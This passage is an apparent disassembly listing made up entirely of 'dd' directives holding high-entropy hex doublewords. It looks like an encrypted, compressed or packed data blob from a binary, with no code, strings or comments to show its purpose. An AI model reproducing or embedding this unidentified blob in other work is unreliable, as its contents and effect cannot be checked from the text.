		dd 0B501E3h, 2BB39398h,	3E586B17h, 2B0845E4h, 0C6485800h
		dd 4CC192DFh, 0C54ED00Dh, 0F740458h, 73774022h,	7D24E33h
		dd 9844BE29h, 1A93309Ch, 0FF07D674h, 91560AADh,	191CECC7h
		dd 8E3C3C70h, 0EB404D80h, 48FB10EAh, 38D2DB2Eh,	0A3D6ED00h
		dd 14D6947h, 92040103h,	70AB7636h, 210509BCh, 0F34F3B54h
		dd 0E5D4B080h, 1820B03Dh, 407C4ABDh, 0F1F8FEh, 60879812h
		dd 1C571849h, 7418B411h, 2DA82A38h, 171540D8h, 0BCA06277h
		dd 0B9009DFFh, 1C4B4047h, 15FB44Fh, 0AA579492h,	900B51C8h
		dd 191042E8h, 2E418297h, 95582255h, 0CD20401Ch,	107AC022h
		dd 46B1241h, 7D5F14CBh,	2700A67Ch, 8CF29A2Dh, 0BA1E6B7h
		dd 0EF09F82Ch, 346E04E0h, 0BCC23B17h, 0E4BD7412h, 0E215AEC3h
		dd 0C4BCC983h, 0C0108774h, 48104AE5h, 50935D24h, 6301EC28h
		dd 2CD02FD7h, 2C3C6CFFh, 0A7CEE902h, 0AC85736Dh, 933A80E8h
		dd 1F135B0Dh, 8C095FA9h, 8098Fh, 0B3473B8Ch, 0BB20A79Dh
		dd 6117EAA3h, 0EAC7F0C8h, 97DD17BAh, 73E802D8h,	3CDCF31Ah
		dd 0E4D8D645h, 0C8EB5C5Ch, 0E42A59C5h, 1700E798h, 982D50D6h
		dd 0FE2C5CAFh, 0C310A8FCh, 0FA4F0099h, 0E2AC24BDh, 164C4A52h
		dd 0C0A058E8h, 0C049FCBCh, 4FB80054h, 2C4024BAh, 8F397E11h
		dd 0D0B29D88h, 1140D00h, 3FF1D2DCh, 686AC3Ch, 1017FFD3h
		dd 51B02404h, 7CED74A0h, 9CDE2E07h, 578AB3ECh, 0EDE8D917h
		dd 9B9EB400h, 27AD231Ch, 0B4E4CE64h, 6CDDA50Eh,	0FE61CB5Bh
		dd 9A950180h, 0F484B41Bh, 1C00BB71h, 0A6A793B5h, 50C628Ch
		dd 5CFDCBD3h, 95C504h, 4D759A53h, 925396F1h, 0CA4800B8h
		dd 0F4AABA4Bh, 5CD77E94h, 0F124F88Eh, 845C0E34h, 0E7825982h
		dd 0A23928DEh, 87960CA4h, 0EA49B729h, 7A00EB7Ah, 4C243C1h
		dd 738D1F9h, 30779A9Bh,	5A7B5018h, 6380EF29h, 0DF53004Ah
		dd 0F6AF42FCh, 9F006AE3h, 67503117h, 241BFB12h,	0F594C18h
		dd 9B805504h, 0CC794A86h, 0BC0411D0h, 245D1FE9h, 6ED03CAh
		dd 8F4FF9h, 32406F77h, 23735300h, 0CAE9EA42h, 4A106A2h
		dd 29F7EFF0h, 0DF9E10FDh, 5B930013h, 19176083h,	0B02CBCE8h
		dd 4B03DAB6h, 0D17A2D54h, 0C07FB7E0h, 0F6134941h, 59614A00h
		dd 0B9BDC558h, 206400BFh, 40424423h, 6D38EBD2h,	33D98EC1h
		dd 0C0B520D0h, 0DAC5B3h, 0DBBF3C27h, 0C77EA48Eh, 283F6F01h
		dd 130534Ch, 7BBDA6E0h,	0E65B0F54h, 85E09594h, 26B07C70h
		dd 0E2FBBF00h, 0D0AD6611h, 1C00544h, 18F36E79h,	233410C7h
		dd 9D9C3800h, 99FFE06Bh, 8A790089h, 4C533195h, 28E44036h
		dd 0B721D800h, 9606643Ch, 0F96B003Ah, 5FD9A50h,	0B0A04E04h
		dd 0A1E2846Eh, 6E554Ch,	52D11FD6h, 0E64A0412h, 0CBB50E8Bh
		dd 9580C1D2h, 513921F1h, 0A20B3703h, 0A897D377h, 53655Eh
		dd 0D79098A3h, 0ADAAD530h, 0A762603h, 0AB64DB57h, 6BA4D805h
		dd 0E9713Ch, 0EE75FD29h, 0AB7158BDh, 903ECB00h,	7B67572Ah
		dd 666A17F1h, 0D81400DDh, 0FBA2E4DFh, 9322EF3Dh, 7E00DAAAh
		dd 3754B315h, 365A01B7h, 1D89B044h, 3A14201Eh, 15DD3900h
		dd 0F1B7ACA1h, 5823002Dh, 0EE6F97CFh, 0CA00EAB0h, 5904878Dh
		dd 3D747F3Ah, 0BE80FB33h, 270BB4AAh, 30004F4Eh,	0E0CAEF85h
		dd 22CF9Ch, 74ACB9Ah, 0F4E91042h, 0FA85E300h, 8619052h
		dd 0EFD5171Dh, 177400C6h, 0C0395449h, 0AF5F4C03h, 0E86381E4h
		dd 0F096C267h, 0C247745h, 19C5A755h, 0D20E4828h, 303E250h
		dd 823A8Fh, 3C09BE30h, 21D0E8CFh, 3E685818h, 4826168h
		dd 1976EEF7h, 7D73001Ah, 5C2E7C9h, 0A11B290Eh, 1FC90ADAh
		dd 0D1D20088h, 24252266h, 86007CE0h, 105C9F7Ah,	385BE1h
		dd 12186242h, 0F7C7D77Dh, 619BEB00h, 1B52539Fh,	0D6B60386h
		dd 7111A5D8h, 57346388h, 0F22440h, 0A4E607D0h, 0E0FE0B1Ch
		dd 63304700h, 294B9C67h, 257701BCh, 0C769080h, 0D2E6E42Bh
		dd 0E39910C0h, 2AABBF3h, 95FDB1D3h, 48414B39h, 322CD093h
		dd 0B4AD6C00h, 0D82A7275h, 7B7403FEh, 773B698Fh, 0BC1787B0h
		dd 7FB46700h, 0C973CB3Fh, 3A21005Eh, 0B183FBEEh, 8090F2F5h
		dd 757F7902h, 0D7321DCCh, 0BB91E680h, 0D13F982Fh, 1AE000D0h
		dd 0C0416B49h, 701303DBh, 0BFB7C786h, 84AEDF88h, 0B1FD9906h
		dd 4A0589Dh, 0A0EAE99Ah, 237880D9h, 1B1D25B7h, 67897601h
		dd 0C9190078h, 5AF58Eh,	7E271126h, 9F526F8Ch, 0D2425Ch
		dd 0F37BB261h, 775534h,	455B372Eh, 0EDDFC03Fh, 2CE65430h
		dd 1BCD67h, 0FDAE61AFh,	5850ABF9h, 54910200h, 0CF798C57h
		dd 0A4CD3DF6h, 0E85A007Fh, 0A8EE7E2Fh, 8B029145h, 4678AECAh
		dd 74A46001h, 0E8240048h, 4C39572Dh, 33F69B22h,	14BE0216h
		dd 6E889A00h, 0E6CA03Ch, 8DDB320Ch, 0CB532A83h,	875809D8h
		dd 468BC903h, 0A8696E44h, 7DD6FDDEh, 850D01A8h,	0DC24A784h
		dd 863EFC21h, 97407400h, 23D8F790h, 42680746h, 4058E1C0h
		dd 0B5C59371h, 0D3D13Eh, 31D1B24h, 12C966E4h, 82FC568Dh
		dd 0B8A05798h, 72E8380Eh, 0D38239h, 1A6D224Eh, 8C62Ch
		dd 0A56805BEh, 9CF35398h, 6F434100h, 0CA9DC92Ah, 0FC4E00E1h
		dd 0D7AF6535h, 0CB00FA80h, 7F909F7Bh, 15D2AC5h,	0EC28458Fh
		dd 0D83E5A30h, 5B4D5F27h, 97B0EF8h, 8D368AEBh, 2C494B00h
		dd 7AD4C1h, 0FD7FB285h,	0B783F721h, 2108660h, 7151DDFFh
		dd 0B9C10064h, 0D21DC679h, 803808Fh, 0B15A8A39h, 1112F0E5h
		dd 2090DCh, 9617A753h, 300C488Dh, 29F78600h, 72B725Ch
		dd 798A3h, 0EF9C6965h, 7321D903h, 816D0800h, 8B4CC6C1h
		dd 0A3420679h, 20044AD2h, 7DE1CE00h, 2546716Ch,	579703E2h
		dd 0D0936E73h, 1EBACDB8h, 0B0282B2Ch, 67095D81h, 47E80D27h
		dd 0E4D1A03Dh, 28750037h, 0F39EAAF6h, 3A249F24h, 1D00DC4Ah
		dd 8217EB38h, 73F80151h, 930E8C0Ch, 0FD4430B9h,	0C2F60D00h
		dd 575882D7h, 3149007Ch, 908516F8h, 0B000DC75h,	6BD0DFEEh
		dd 1EF11584h, 80EB9F4Bh, 0D1F034D5h, 1E000486h,	0BC5D5560h
		dd 781ADFAh, 0D8B4659Eh, 0D6BD2F6Ch, 88D00BB5h,	0B673A600h
		dd 16004070h, 99A6A218h, 0BA437B32h, 0EC833820h, 0C61C2476h
		dd 9D6986BCh, 53006CD6h, 0B1AB450Dh, 4CAE1A05h,	91008F14h
		dd 6EDA4676h, 0BA038FD6h, 0A4B0332Bh, 50A5EA0Ch, 66B900FFh
		dd 46E74DF1h, 0CF091A0Eh, 0A08A4CFBh, 23CE0460h, 0FCC707F1h
		dd 0EEC9083Dh, 14905480h, 34F0CC32h, 122F10C4h,	0FA07244Fh
		dd 2A1EE06Ch, 9800EA6Eh, 0A250769Fh, 9CF1555h, 0F6EB7414h
		dd 1F08E85h, 103DD034h
		dd 8260BD83h, 1598DD19h, 91BE81A8h, 0F4D099E0h,	1A170E81h
		dd 35A0C190h, 6B295075h, 12837358h, 44CEDDBh, 79AC06Dh
		dd 32F4A8DDh, 98F540DFh, 0C4B945ADh, 8F865A0Bh,	805E8BB0h
		dd 406995A4h, 19B7F6Eh,	1F876531h, 7028E362h, 8C7B03C8h
		dd 0BC2DAB00h, 7F4BDCCFh, 0CEE904A9h, 8056BD48h, 0A62003ECh
		dd 4D05F0Bh, 4F46801Bh,	40E664h, 94639522h, 6FE398DFh
		dd 0CA0B1102h, 0E01BF44Dh, 0F22B4E7Ah, 0F5500065h, 59BA2C84h
		dd 0FD2C1F78h, 33018CC2h, 0DE12D609h, 44F620h, 67689611h
		dd 60A5E5F7h, 8405F977h, 46E92EF8h, 7BF5A840h, 0CAF9C78h
		dd 69C8DB1Dh, 0D401A619h, 1B21AD54h, 6231026Fh,	890DDD3h
		dd 3024A28Ah, 54BC4716h, 8F03EF69h, 637EFF77h, 0AC1801C5h
		dd 27D5DF70h, 0A767F0EAh, 500091F0h, 48CBF01Ah,	15E9E7B1h
		dd 0C8FCA424h, 8AC57701h, 0C54AF5B3h, 973DE001h, 6F1613Ch
		dd 516DDAD8h, 35750C28h, 0A2184CC3h, 49640A10h,	0ABF3CC00h
		dd 36E60A6h, 0CDF01B00h, 4BC3E2CBh, 9B32034Fh, 0C0577BD0h
		dd 0A79EA001h, 0EBA41A01h, 0CAAA8183h, 5802454Bh, 3FA079D9h
		dd 3A5840DAh, 18376707h, 7BEA10A4h, 0CB1E1B26h,	0E447A691h
		dd 77802258h, 973D7F4h,	57CC54D3h, 0BE90C82Ch, 101A1C22h
		dd 8F5028F3h, 3FA0893h,	27C5B298h, 6183C800h, 13357720h
		dd 0B474A72Eh, 66747159h, 4770DC8Dh, 0C90A4C92h, 0CCF2A8CBh
		dd 1ED9789Dh, 0B1706E18h, 594860D4h, 4DEDFE4h, 0B090C975h
		dd 3E0C811Dh, 0C1215918h, 8DE3BE7h, 0F1957C80h,	0D0B4A0FCh
		dd 75800150h, 1BFCD3Ah,	0DA3D4AF3h, 0C451E570h,	0A824C84Ch
		dd 0F230921Dh, 70770712h, 0B08B0B8Ah, 2B4866FDh, 0B97EEC7Dh
		dd 0B2ACAB14h, 0F8378C8h, 0E4A30481h, 34D73A63h, 831A183Bh
		dd 0B454FEA2h, 0D5891868h, 67AE314Fh, 57ACA34Ah, 0BF106501h
		dd 0F9423D2Ah, 0FFEE60ECh, 0D0D49E3Dh, 8900A68Ch, 0C5F93BF0h
		dd 0F479AE59h, 0FF9C007Ah, 1397E07Bh, 0EE65E9Bh, 0D977C503h
		dd 0B8757C58h, 0F474934Fh, 5DEAE3h, 0A54AE470h,	0CA4EF082h
		dd 7CE65E3Ah, 2C3CDD00h, 0A89E9886h, 0FE361CA2h, 5BD30007h
		dd 0CC625E63h, 1DB3C200h, 0C10EF4Bh, 334E00AFh,	5C9E4C87h
		dd 0FF00D950h, 987BB179h, 5AA4C9h, 0E5C473C2h, 6FDD5637h
		dd 0F200C9B8h, 58546675h, 0ED45A6h, 2E52ECCEh, 8B710882h
		dd 90346200h, 13510964h, 0B6961FADh, 0E4241C5Ch, 0BE700076h
		dd 1F438802h, 600AD900h, 0F91A8DA3h, 0A6E45Eh, 225BBA40h
		dd 313D8564h, 45F67B17h, 3CD1C602h, 0EC40D50Eh,	0F3004973h
		dd 5B77E0CCh, 6DF26Ch, 620DCD05h, 2665BDC7h, 0C6035DE0h
		dd 0AFA8B2DBh, 0FF0F88D0h, 3FFE004Bh, 0FC9AED03h, 7EE4F8A9h
		dd 815EC73Bh, 623B2479h, 90F36ED0h, 8F2D9Fh, 0F6E09608h
		dd 1E81294Dh, 0C6FAE700h, 0B965DADFh, 87C4009Dh, 0AE99C557h
		dd 8D015408h, 23C2D93Eh, 0B220435Bh, 15AA00CEh,	0A16E8995h
		dd 0D100C8A5h, 0D77D8F56h, 3C0B1D3Ch, 0D602389Eh, 4D5B0580h
		dd 40E2F485h, 48B34BACh, 5100AA34h, 530C7580h, 187B791Bh
		dd 50CD19BCh, 0B2006F84h, 6CF662CFh, 0BFF067h, 683C6659h
		dd 0DBE09044h, 0A947200h, 2FA68E4Fh, 14A41CABh,	0E45C5C06h
		dd 0ECB6802Ch, 0B099CFC6h, 0C71C7400h, 241B16B3h, 322807D3h
		dd 13BCDD8Ch, 9CF8402Ah, 120062E4h, 0DB7DC493h,	1A2A473h
		dd 0BDA953BBh, 0F8EA52C2h, 0DE3C0550h, 6C3403E3h, 0EFB36731h
		dd 6C52980h, 0C00D24AAh, 9BAE0008h, 2294F56Ah, 9AA14F00h
		dd 53612759h, 0C3F10042h, 5F96E1A0h, 0EA053952h, 287E86BDh
		dd 80621CEEh, 6AF604EEh, 9D00E685h, 20B2683Dh, 0E0EF2Ch
		dd 0AB93469Fh, 5CC8F5C1h, 7DA75207h, 8000C509h,	3F27769Ch
		dd 8D01F3B8h, 6F024CE0h, 0F27EC478h, 3983A503h,	0E8313B59h
		dd 72AC66ABh, 0F37A006Ah, 15FA05CEh, 70C9DAD5h,	0D3458057h
		dd 5B98D34h, 76811FF3h,	0FAD000CCh, 91C60949h, 0DF73250Bh
		dd 0FEFA802Fh, 74EFB357h, 0D5290A18h, 84E0E6DEh, 80E4B2E8h
		dd 3BE0CFECh, 2264E703h, 0F8F1C1F2h, 34A3D76h, 0DEC2F909h
		dd 35C90AB0h, 0A8542022h, 0B8FC1700h, 70544B68h, 0FDF6307Ah
		dd 0EABA8E2Eh, 7C522D0Eh, 0C8C3E0CFh, 3ECE253h,	4F717A28h
		dd 80E777D5h, 0CB574E21h, 0F8E1B201h, 70226DBEh, 442B9080h
		dd 0D20114EBh, 1C06E200h, 3AA893DFh, 3459486Ah,	8E5CDD0Ah
		dd 1ACC00A6h, 18DE920Fh, 0AE458C00h, 38F45473h,	88392648h
		dd 0E77F8054h, 0F897EC1Eh, 0FA4C1200h, 73A7D95Eh, 0C4BD79EEh
		dd 40622280h, 15E8439Ch, 0B3E1394Ah, 0F54FB580h, 3ADA0212h
		dd 0F70EB800h, 0D8A95D27h, 9AD500FFh, 4F2BF07Bh, 0BA00B487h
		dd 0C81A6B47h, 39F8E3Bh, 4637398Dh, 99A860D5h, 2C3FF867h
		dd 295A0007h, 0E3898C83h, 9D78039Ah, 425125A8h,	4975FAB8h
		dd 16E6EF00h, 738FC06Ch, 2F740185h, 0D5FEDFD8h,	6905202Ah
		dd 88839506h, 240775Bh,	97CCB5ABh, 80D586A9h, 6B522BE0h
		dd 37EB00B4h, 1A8C4D5Ch, 4704F116h, 3D388FBh, 0CB0383EBh
		dd 0BB5E0590h, 0C5DA6700h, 0B072BA65h, 6F0C0ED6h, 24C01D60h
		dd 576CFCC2h, 0CFC0DD60h, 24281621h, 24DB6Eh, 0E3B94162h
		dd 0D900CA0Ah, 942968CBh, 9A4CCF2h, 8E1636C6h, 0B5F3B400h
		dd 0A002553h, 6A5E2D32h, 0E67E6665h, 6D470E40h,	78A08B6Fh
		dd 0F93518A1h, 0A2535800h, 8279E7F7h, 0B8F21823h, 273BF008h
		dd 9BEF9C02h, 6048A483h, 2FDE1D8h, 24AD67A2h, 3C680FBBh
		dd 0FF38E556h, 0D18B806Ch, 0B8D5D76Ah, 7764003Ah, 0BB48A5F0h
		dd 8000567Dh, 22D131FBh, 63A992h, 0DEF9DFD0h, 0BA2EB055h
		dd 80218F3Bh, 1C0E65D8h, 917235h, 0A3DA33CDh, 8C76631Fh
		dd 0AA9D7A13h, 86A300EEh, 0C6D2D020h, 0E5BD89C0h, 0A0412h
		dd 8881DFB9h, 1E09B75Ah, 0F5836900h, 2D5F15FEh,	0B0E0C0F9h
		dd 900F03BBh, 0B9F69400h, 8CCC5D81h, 0AF5900C7h, 0B43B2933h
		dd 0CF00A389h, 3A04FDA0h, 0F9D991Bh, 98D251C6h,	9302F3A0h
		dd 260094C0h, 34697C72h, 204A085h, 2CDE9B3Fh, 25E0808Fh
		dd 0D3001759h, 9EEB48BDh, 0EEB612h, 0C6CB8391h,	4ADD4552h
		dd 0A0E8CE00h, 0E20EF28Ch, 32C83A81h, 53B79180h, 0DE2BECC2h
		dd 47490F00h, 154EFB1Ch, 0F9770372h, 45C1E3E8h,	418BA3C0h
		dd 8423793Eh, 5E5A7E52h, 0F05D00ABh, 259047D1h,	0E822D800h
		dd 3DF557C7h, 0AC560F03h, 7C40B499h, 0BF1E3C1Dh, 755C4C98h
		dd 73BC00DFh, 422A82FAh, 8C70D9h, 0DE7BBA15h, 0BE9BA756h
		dd 0FC2D6E01h, 43A4EC1Bh, 0C190B2D3h, 1AC46460h, 1BAE41Fh
		dd 0FF221913h, 20F7562Bh, 8D017068h, 7FB9A914h,	0B434911Fh
		dd 18AA741Ah, 4E265AA1h, 3900A233h, 7B83451h, 8C8D6Fh
		dd 6BED9303h, 4B4FAFE3h, 28A9A500h, 8B20A8Eh, 93EB006Fh
		dd 71C9496Ah, 0AD01254Eh, 8D04AE2Dh, 4AF0E74Bh,	0C37400D3h
		dd 43BD2C50h, 34612842h, 0CB327014h, 0E9DD84F8h, 0C33E20BCh
		dd 0A603633Eh, 0C6B613D7h, 0AE3A180Dh, 0E9E04054h, 0FA990E20h
		dd 0F08038EEh, 0C7A8D91Dh, 1CAB6A39h, 3A8A6448h, 0D71C1883h
		dd 3249B918h, 0D28B00E3h, 7A6BE2B6h, 0DC61AFD5h, 48544928h
		dd 1E6801D4h, 80E28915h, 0EDC376D1h, 0EC059928h, 7D3A0EEEh
		dd 20D52C0Fh, 49843FB6h, 0D4A900E1h, 679445B1h,	0D1005D8Ah
		dd 506EF441h, 1F9E9Dh, 0CCD4A5B0h, 0B82E61ACh, 0C517D07h
		dd 9E009725h, 0ECAD4833h
		dd 0D9D10016h, 8BCAB985h, 7BE87590h, 13569600h,	0E95B3769h
		dd 0FF271EF1h, 0E1520E61h, 363C68C0h, 9200BF0Fh, 54D386D2h
		dd 2B998Eh, 0AF015B8Bh,	0D7AEC775h, 8304643Dh, 9ABB4EF5h
		dd 77CC03Ch, 0C3873E2Eh, 954D0D0Fh, 0EE820400h,	4003289Ah
		dd 5688DE85h, 22FDE8A1h, 7F390124h, 2E99D93Bh, 3EB32C8Bh
		dd 919A8F65h, 0BFA7E02Fh, 0AD83F28h, 0E525995h,	11848CFCh
		dd 0DB02F048h, 0CC2AFA80h, 6EE0DF85h, 1D14F58Fh, 68AC9CB7h
		dd 6D50430h, 10AA864Fh,	0B96A8414h, 665203CCh, 0B0BC14B6h
		dd 0EAAC3926h, 0D8BD014Fh, 8B84519Eh, 4A2990B4h, 4835A584h
		dd 0E17141D1h, 111E0260h, 8522EEC4h, 0E07E22DBh, 49212224h
		dd 10791248h, 0F688E223h, 4FE28BB5h, 7C216D24h,	10DA12DCh
		dd 4189441Eh, 46635710h, 0FDFFF500h, 1D9C92BAh,	25330058h
		dd 0C0DDFEB8h, 640091D3h, 87A3489Bh, 5014F14Bh,	0ACE1F8h
		dd 503A755Ch, 59C17B2h,	0BD32CF0Fh, 37A84042h, 9A286C68h
		dd 930E0000h, 0F3EA62D1h, 0D9008CB0h, 0EDCD0B8Fh, 0E3773Ch
		dd 0E9A04DCAh, 83B6F1EBh, 4194B02Eh, 39D56E00h,	3BB0CDDh
		dd 7D6D33D2h, 3800CE75h, 30837020h, 0CAECB0h, 45D27CD1h
		dd 2DA48751h, 9EBA5900h, 0A26C8096h, 295738EDh,	0DCD31FF8h
		dd 0C9AA80DFh, 2B8A21FEh, 100718C0h, 3DD4F614h,	0FF35374h
		dd 0E155D615h, 0C1A8B900h, 2B07D887h, 0ECFA6077h, 668086C7h
		dd 274781Dh, 344476B3h,	2C48EE4Ah, 270E0EEAh, 603A982Bh
		dd 961F7DB9h, 61A20615h, 4080547Eh, 0BEBFD702h,	0E0E24C95h
		dd 1AF202Ch, 5BA16F6h, 8059BBE9h, 6DA0EE38h, 0C0C86Bh
		dd 0EF234B0Dh, 533528BCh, 0F9AE49C0h, 7481032h,	0E9026AD7h
		dd 0EE113181h, 0EF98845Bh, 5100C1B1h, 906663C3h, 0BECFE500h
		dd 0D8CB082Fh, 5EAC01F8h, 0BD593FB3h, 0EC3ED92Ch, 0D70FBE31h
		dd 80E2A839h, 86B6D5F6h, 912A05A7h, 9AF02Dh, 0DD197A94h
		dd 7F001C18h, 81F1A3B7h, 528255h, 888DD165h, 644BCB04h
		dd 1011A714h, 6E8C06B8h, 0B040822Ah, 6998056Ah,	0C86C76h
		dd 7038EFE4h, 84035F40h, 5D12FF19h, 0B04893F4h,	0A194144Fh
		dd 1020EF8Ch, 0F1DD0075h, 215FCD7Fh, 9B001107h,	13F284D0h
		dd 0FC7EC8DEh, 0D4DA031Ah, 0F858E4D9h, 1104D0D8h, 62785279h
		dd 0C9427F00h, 0ACF01E66h, 37A400BFh, 3D0D8E58h, 513E9BE1h
		dd 0FFEC50F2h, 9DB9F800h, 3A531487h, 0F3B50024h, 97D1CDDAh
		dd 80B06866h, 0E0230C0Ch, 56B81Ah, 3E7950ADh, 0A21DB464h
		dd 0BF2A0B0Eh, 9A57A205h, 9F984825h, 6AF40003h,	0DBB93C31h
		dd 20009018h, 89D35E2Bh, 17323D69h, 0A00C2Ah, 9A084547h
		dd 0DD01FF18h, 9FC8D031h, 8C202FDBh, 7F981454h,	0F900A475h
		dd 35455022h, 0A654B981h, 0E400A494h, 0BE3F1575h, 3AFECE55h
		dd 7A6A64h, 113877B0h, 978EFB94h, 83024F3h, 21911A00h
		dd 17D94E12h, 49C35894h, 0F0BFF51Fh, 0BCD43B10h, 0F745E000h
		dd 0A32C0C9Ah, 0A0F3017Fh, 0C2ED80DEh, 0E4BDD45Ah, 0BC654Dh
		dd 0EF275415h, 4648EBh,	0B86CC88Eh, 4977D864h, 3FCCF249h
		dd 3908866Fh, 0CE102497h, 3DC04A84h, 9220A181h,	0C50C1D00h
		dd 67FB4B2Eh, 43A712D4h, 6100089h, 66BC2A85h, 0EAACBF01h
		dd 56C2ECB3h, 1263D5C8h, 25271F1h, 834CB518h, 7051D898h
		dd 259D9600h, 5EF8A5C9h, 0C3CAFE17h, 7E0667B8h,	1B5DCFA8h
		dd 18B3FD24h, 29159E00h, 0F62147h, 0A8C7ED76h, 79B4D2F8h
		dd 0E1FEA272h, 0CB81470h, 0EFACB900h, 524A5F24h, 0EA3E0BC0h
		dd 24E036FEh, 6509B1B6h, 202810A0h, 7D93AA94h, 0D9FF125Ch
		dd 5D980089h, 0E6F467D4h, 1E5AC0Ah, 31079793h, 9FD56F44h
		dd 6173AC00h, 4B6D155h,	2DC2B78Ah, 0E43C9008h, 2CE0F3C6h
		dd 0DD072007h, 3CA2B948h, 0F4EC4887h, 37C40004h, 0D2A92006h
		dd 0FA1FF76Eh, 0D5C0B1BAh, 7813F552h, 7EDCFEAAh, 0BEF0C328h
		dd 0B0004C06h, 0B7658C82h, 4DBF6A7h, 0E7104305h, 7A3880D8h
		dd 0BB7E1AE1h, 11EA3F4h, 12C07D72h, 8DD302EFh, 0ADF4B5h
		dd 341C6411h, 24919E75h, 45808361h, 0D864074Dh,	0E589133h
		dd 2EA989C9h, 0F414D8A9h, 7100957Ah, 2AFCB0B6h,	12023B4Eh
		dd 14E5F5D6h, 1F00FC04h, 0A838DE44h, 9224B31Bh,	0C4151C81h
		dd 0ECA50F90h, 0C3471E21h, 29D04A70h, 55A4409h,	0FBA32DC7h
		dd 0F124D084h, 8DE0E457h, 6E764900h, 9DB0C579h,	0C4D04888h
		dd 60C1F603h, 18C85E13h, 45009410h, 0B12B3952h,	0C9CF07h
		dd 7F6090D2h, 97FF8AE6h, 0AEC6E300h, 0FCA58033h, 0F77A0007h
		dd 109A046Ch, 57002FECh, 58821892h, 647E0h, 0FFD4D395h
		dd 834DEE45h, 2D04EF00h, 5D5C8E21h, 2B0A0052h, 0B1759A91h
		dd 8C0FD5FFh, 205A3CCEh, 1D9617D4h, 2B7432B9h, 0B08019D0h
		dd 4BE1BE71h, 0D0C7A8A8h, 0D1709231h, 0CDE99A33h, 0C1A4B12Ah
		dd 0B8D8E003h, 4CB1EA3Fh, 0BDF50720h, 136FF36h,	742E1FF0h
		dd 19BDDF8h, 0E2D208E1h, 0FE84057h, 4A005306h, 0EF0ACA7h
		dd 2E3441Ch, 21DFFBB0h,	14E81D80h, 0F90084BFh, 0D4519441h
		dd 0A83959FAh, 73BBCFCh, 0E3A87187h, 13F321B3h,	6ED860CFh
		dd 25A6B806h, 310D917h,	0D7E94DA9h, 0D6F8DA61h,	0EF0002B9h
		dd 0BCADE7A4h, 5585BBh,	0C2D5E3BDh, 778FA848h, 5E5543Fh
		dd 28888B56h, 1459000h,	7B73A5h, 37D0DF17h, 336E49Ah, 0A4894701h
		dd 2C1CD368h, 0A6988440h, 35970040h, 0FB265E25h, 73006977h
		dd 19C4423h, 5A73375h, 0F2108D46h, 406BC3D7h, 0ADD652E8h
		dd 0F807E872h, 3CF1124Eh, 4C3F8920h, 6770A35h, 0C0D55Dh
		dd 398A02E8h, 3C00AD7Dh, 0C603228Bh, 0A0F83AC5h, 259761B7h
		dd 0AC80FA6Fh, 0B0DEA187h, 7AFD6C00h, 45CD25Dh,	0C8B200FEh
		dd 171681A7h, 0CB16274Dh, 26003399h, 7EB5D8FDh,	51600075h
		dd 8F0C18E5h, 0AA3DBF47h, 0E89E13B2h, 0F4156000h, 0C5B92Fh
		dd 2E8E49A2h, 0AF5259D8h, 0F88948h, 0C275E938h,	4CE595C6h
		dd 43169CADh, 0E3C900D3h, 29422A17h, 9E983F12h,	5754D000h
		dd 0FC6C25h, 1B93037Bh,	916539F8h, 3EF68407h, 406E2035h
		dd 42D5361Eh, 9B5000Eh,	137441D9h, 1400BCC2h, 7EE9733h
		dd 0CDB9D02h, 18E1637Fh, 91009421h, 0F32335F8h,	14B006h
		dd 1F7A48FCh, 81895967h, 43DDD801h, 5AB394ACh, 39D0F6F0h
		dd 0D4007887h, 5E73F4C8h, 11023BC5h, 92B29BF0h,	2CBBE001h
		dd 60E20036h, 0A9274B35h, 149A4E08h, 0BA42DE01h, 0F477992h
		dd 6B001028h, 0B2844843h, 5E148AA3h, 80DD09h, 61ACE005h
		dd 7826475Fh, 468D182Ah, 712C489Ah, 71D20A0h, 0F8A34E07h
		dd 6B90755Ch, 0BA9FA53h, 0B241819Fh, 0E3333B00h, 58DFE61Bh
		dd 0FA2803Ah, 2D3D63C3h, 1DB09265h, 40E840D0h, 0C8724FCAh
		dd 393A35DBh, 10B38220h, 406DE6BDh, 17EFD8h, 8BA47FB9h
		dd 0EA48E55Fh, 4E0B3C9Ah, 7D2982h, 3F338FCCh, 2A40016h
		dd 7A3CB4CAh, 5B004351h, 0F6E7FD1Eh, 78E9FAFh, 0AA7E9B38h
		dd 0EFF1E064h, 0EC000894h, 0C1A468ABh, 590CBE0Ah, 780B7CE4h
		dd 8C2F0DA3h, 0EB6C9120h, 0E2009224h, 5D7FC0D8h, 1274D760h
		dd 807A6254h, 86779810h, 4ED0030Ah, 0C500FCA6h,	9C8B2FA9h
		dd 2BC758EEh, 0E02C6400h, 5E12C6DEh, 50F1231Fh,	8001CA52h
		dd 189DB5ABh, 100C60h, 0F9FDA72Ch, 5BFF93DCh, 0EF8BA8A0h
		dd 0C1CE48h, 36C64396h,	0F3C81Ch, 0C7DB3080h, 4772CAF6h
		dd 0E939FCA0h
		dd 57295D00h, 0CC789499h, 1CB158h, 44FFB602h, 6948C28Ah
		dd 0A3C500C0h, 3EAD2514h, 0CD5C0068h, 75BD6E1Ch, 24008ECEh
		dd 892BD809h, 0C016013Bh, 3C869428h, 461E35B5h,	0A0C0E81Dh
		dd 407E3383h, 6FCA0080h, 307DDA3Dh, 5200E3E4h, 0F8FFC728h
		dd 48F195D8h, 3F01ADBBh, 2C7965E1h, 7BBCFCC4h, 5F97F902h
		dd 80E44458h, 0CB0C4C9Ah, 9AA20BCAh, 4B7C8C71h,	7E799C02h
		dd 48345880h, 0AF38503Eh, 47424B80h, 0C9E70731h, 0EA099614h
		dd 0ED85009Ch, 0FBFA5ACFh, 0C1E000D9h, 4A593D32h, 0AE091CBAh
		dd 5BEBBF0h, 0CC41E1Ch,	28061C7h, 5989A9h, 1A03C2AAh, 2C2836C9h
		dd 500F4E0h, 649A71CBh,	1FAF996Dh, 0C093D510h, 0B441ED82h
		dd 30278B46h, 0A310045Ah, 1C021CB0h, 416AA9E9h,	53C7514Ah
		dd 9993D4A8h, 0ECF41A01h, 0CC47658Bh, 0A2F870h,	31CEAF71h
		dd 487610E5h, 84B8DE00h, 0EE236286h, 1E6402C1h,	0D0A7E8F9h
		dd 9E5F4660h, 0DD55D500h, 0FAFE4210h, 435800BBh, 4D5B703Bh
		dd 0A20C1653h, 506E3493h, 0C804077Eh, 6F9FD9C6h, 733A0A0h
		dd 0E20798CBh, 0DD1F8699h, 0E4359AA0h, 0AAB71ED7h, 2DE7808Ah
		dd 4EE26EC5h, 29431301h, 6B0184F3h, 900F45E8h, 91CA01B4h
		dd 0B9C2AEE2h, 50FF6058h, 0F1293661h, 0D3FC51DAh, 0EB9007CDh
